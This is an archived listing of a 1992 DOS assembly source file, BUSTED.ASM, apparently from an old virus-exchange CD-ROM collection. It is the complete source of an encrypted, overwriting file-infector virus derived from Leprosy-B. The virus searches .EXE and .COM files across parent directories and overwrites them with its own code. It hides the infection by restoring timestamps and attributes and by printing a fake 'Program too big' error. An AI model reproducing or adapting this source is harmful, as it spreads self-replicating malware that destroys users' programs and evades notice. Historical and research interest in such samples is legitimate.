home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BUSTED.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  12KB  |  226 lines

  1. cr              equ     13              ;  Carriage return ASCII code
  2. lf              equ     10              ;  Linefeed ASCII code
  3. tab             equ     9               ;  Tab ASCII code
  4. code_start      equ     100h            ;  Address right after PSP in memory
  5. dta             equ     80h             ;  Addr of default disk transfer area
  6. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  7. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  8. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  9. attribute       equ     21              ;  Offset in DTA of file attribute
  10.  
  11.  
  12.         code    segment 'code'          ;  Open code segment
  13.         assume  cs:code,ds:code         ;  One segment for both code & data
  14.                 org     code_start      ;  Start code image after PSP
  15.  
  16. ;---------------------------------------------------------------------
  17. ;  All executable code is contained in boundaries of procedure "main".
  18. ;  The following code, until the start of "virus_code", is the non-
  19. ;  encrypted CMT portion of the code to load up the real program.
  20. ;---------------------------------------------------------------------
  21. main    proc    near                    ;  Code execution begins here
  22.         call    encrypt_decrypt         ;  Decrypt the real virus code
  23.         jmp     random_mutation         ;  Put the virus into action
  24.  
  25. encrypt_val1    db      00h             ;  Hold value to encrypt by here
  26. encrypt_val2    db      00h
  27.  
  28. ; ----------  Encrypt, save, and restore the virus code  -----------
  29. infect_file:
  30.         mov     cx,handle               ;  Get the handle
  31.         push    cx                      ;  Save it on the stack
  32.         call    encrypt_decrypt         ;  Encrypt most of the code
  33.         pop     bx                      ;  Get back the handle
  34.         mov     cx,endvir-main          ;  Total number of bytes to write
  35.         mov     dx,code_start           ;  Buffer where code starts in memory
  36.         mov     ah,40h                  ;  DOS write-to-handle service
  37.         int     21h                     ;  Write the virus code into the file
  38.         call    encrypt_decrypt         ;  Restore the code as it was
  39.         ret                             ;  Go back to where you came from
  40.  
  41. ; ---------------  Encrypt or decrypt the code  ----------------
  42. encrypt_decrypt:
  43.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  44. xor_loop:                               ;  Start cycle here
  45.         mov     al,[bx]                 ;  Get the current byte
  46.         xor     al,encrypt_val1         ;  Engage/disengage XOR scheme on it
  47.         mov     [bx],al                 ;  Put it back where we got it
  48.         inc     bx                      ;  Move BX ahead a byte
  49.         cmp     bx,offset virus_code+(endvir-main)  ;  Are we at the end?
  50.         je      xor_nd
  51.         mov     al,[bx]
  52.         xor     al,encrypt_val2
  53.         mov     [bx],al
  54.         inc     bx
  55.         cmp     bx,offset virus_code+(endvir-main)
  56.         jle     xor_loop                ;  If not, do another cycle
  57. xor_nd:
  58.         ret                             ;  and go back where we came from
  59.  
  60. ;-----------------------------------------------------------------------
  61. ;   The rest of the code from here on remains encrypted until run-time,
  62. ;   using a fundamental XOR technique that changes via CMT.
  63. ;-----------------------------------------------------------------------
  64. virus_code:
  65.  
  66. ;----------------------------------------------------------------------------
  67. ;  All strings are kept here in the file, and automatically encrypted.
  68. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  69. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  70. ;  changes, even when the strings stay the same.
  71. ;----------------------------------------------------------------------------
  72. exe_filespec    db      "*.EXE",0
  73. com_filespec    db      "*.COM",0
  74. newdir          db      "..",0
  75. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  76. virus_msg       db      cr,lf,tab,"Busted!$"
  77. virus_info      db      "This is based on Leprosy-B.  Thanx PCM2"
  78. viral_tag       db      "Busted, Strain A, version 1.0"
  79. viral_tag_2     db      "By ÿÇ╫@&ε╖│╜$ (Psychogenius), September '91"
  80. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  81. files_found     db      ?
  82. files_infected  db      ?
  83. orig_time       dw      ?
  84. orig_date       dw      ?
  85. orig_attr       dw      ?
  86. handle          dw      ?
  87. success         db      ?
  88.  
  89. random_mutation:                        ; First decide if virus is to mutate
  90.         mov     ah,2ch                  ; Set up DOS function to get time
  91.         int     21h
  92.         cmp     encrypt_val1,0          ; Is this a first-run virus copy?
  93.         je      install_val             ; If so, install whatever you get.
  94. install_val:
  95.         cmp     dl,0                    ; Will we be encrypting using zero?
  96.         je      random_mutation         ; If so, get a new value.
  97.         mov     encrypt_val1,dl         ; Otherwise, save the new value
  98.         mov     encrypt_val2,dh
  99. find_extension:                         ; Locate file w/ valid extension
  100.         mov     files_found,0           ; Count infected files found
  101.         mov     files_infected,4        ; BX counts file infected so far
  102.         mov     success,0
  103. find_exe:
  104.         mov     cx,00100111b            ; Look for all flat file attributes
  105.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  106.         mov     ah,4eh                  ; Call DOS find first service
  107.         int     21h
  108.         cmp     ax,12h                  ; Are no files found?
  109.         je      find_com                ; If not, nothing more to do
  110.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  111. find_com:
  112.         mov     cx,00100111b            ; Look for all flat file attributes
  113.         mov     dx,offset com_filespec  ; Check for .COM extension now
  114.         mov     ah,4eh                  ; Call DOS find first service
  115.         int     21h
  116.         cmp     ax,12h                  ; Are no files found?
  117.         je      chdir                   ; If not, step back a directory
  118.         call    find_healthy            ; Otherwise, try to find healthy .COM
  119. chdir:                                  ; Routine to step back one level
  120.         mov     dx,offset newdir        ; Load DX with address of pathname
  121.         mov     ah,3bh                  ; Change directory DOS service
  122.         int     21h
  123.         dec     files_infected          ; This counts as infecting a file
  124.         jnz     find_exe                ; If we're still rolling, find another
  125.         jmp     exit_virus              ; Otherwise let's pack it up
  126. find_healthy:
  127.         mov     bx,dta                  ; Point BX to address of DTA
  128.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  129.         mov     orig_attr,ax            ; Save it
  130.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  131.         mov     orig_time,ax            ; Save it
  132.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  133.         mov     orig_date,ax            ; Save it
  134.         mov     dx,dta+filename         ; Get the filename to change attribute
  135.         mov     cx,0                    ; Clear all attribute bytes
  136.         mov     al,1                    ; Set attribute sub-function
  137.         mov     ah,43h                  ; Call DOS service to do it
  138.         int     21h
  139.         mov     al,2                    ; Set up to open handle for read/write
  140.         mov     ah,3dh                  ; Open file handle DOS service
  141.         int     21h
  142.         mov     handle,ax               ; Save the file handle
  143.         mov     bx,ax                   ; Transfer the handle to BX for read
  144.         mov     cx,20                   ; Read in the top 20 bytes of file
  145.         mov     dx,offset compare_buf   ; Use the small buffer up top
  146.         mov     ah,3fh                  ; DOS read-from-handle service
  147.         int     21h
  148.         mov     bx,offset compare_buf   ; Adjust the encryption value
  149.         mov     ah,encrypt_val1         ; for accurate comparison
  150.         mov     [bx+6],ah
  151.         mov     si,code_start           ; One array to compare is this file
  152.         mov     di,offset compare_buf   ; The other array is the buffer
  153.         mov     ax,ds                   ; Transfer the DS register...
  154.         mov     es,ax                   ; ...to the ES register
  155.         cld
  156.         repe    cmpsb                   ; Compare the buffer to the virus
  157.         jne     healthy                 ; If different, the file is healthy!
  158.         call    close_file              ; Close it up otherwise
  159.         inc     files_found             ; Chalk up another fucked up file
  160. continue_search:
  161.         mov     ah,4fh                  ; Find next DOS function
  162.         int     21h                     ; Try to find another same type file
  163.         cmp     ax,12h                  ; Are there any more files?
  164.         je      no_more_found           ; If not, get outta here
  165.         jmp     find_healthy            ; If so, try the process on this one!
  166. no_more_found:
  167.         ret                             ; Go back to where we came from
  168. healthy:
  169.         mov     bx,handle               ; Get the file handle
  170.         mov     ah,3eh                  ; Close it for now
  171.         int     21h
  172.         mov     ah,3dh                  ; Open it again, to reset it
  173.         mov     dx,dta+filename
  174.         mov     al,2
  175.         int     21h
  176.         mov     handle,ax               ; Save the handle again
  177.         call    infect_file             ; Infect the healthy file
  178.         call    close_file              ; Close down this operation
  179.         inc     success                 ; Indicate we did something this time
  180.         dec     files_infected          ; Scratch off another file on agenda
  181.         jz      exit_virus              ; If we're through, terminate
  182.         jmp     continue_search         ; Otherwise, try another
  183.         ret
  184. close_file:
  185.         mov     bx,handle               ; Get the file handle off the stack
  186.         mov     cx,orig_time            ; Get the date stamp
  187.         mov     dx,orig_date            ; Get the time stamp
  188.         mov     al,1                    ; Set file date/time sub-service
  189.         mov     ah,57h                  ; Get/Set file date and time service
  190.         int     21h                     ; Call DOS
  191.         mov     bx,handle
  192.         mov     ah,3eh                  ; Close handle DOS service
  193.         int     21h
  194.         mov     cx,orig_attr            ; Get the file's original attribute
  195.         mov     al,1                    ; Instruct DOS to put it back there
  196.         mov     dx,dta+filename         ; Feed it the filename
  197.         mov     ah,43h                  ; Call DOS
  198.         int     21h
  199.         ret
  200. exit_virus:
  201.         cmp     files_found,6           ; Are at least 6 files infected?
  202.         jl      print_fake              ; If not, keep a low profile
  203.         cmp     success,0               ; Did we infect anything?
  204.         jg      print_fake              ; If so, cover it up
  205.         mov     ah,09h                  ; Use DOS print string service
  206.         MOV     DX, OFFSET virus_msg    ; Print "Busted!"
  207.         jmp     terminate
  208. print_fake:
  209.         mov     ah,09h                  ; Use DOS to print fake error message
  210.         mov     dx,offset fake_msg
  211.         int     21h
  212. terminate:
  213.         mov     ah,4ch                  ; DOS terminate process function
  214.         int     21h                     ; Call DOS to get out of this program
  215. endvir  LABEL   BYTE
  216.  
  217. main    endp
  218. code    ends
  219.         end     main
  220.  
  221. ; ─────────────────────────────────────────────────────────────────────────
  222. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  223. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  224. ; ─────────────────────────────────────────────────────────────────────────
  225.  
  226.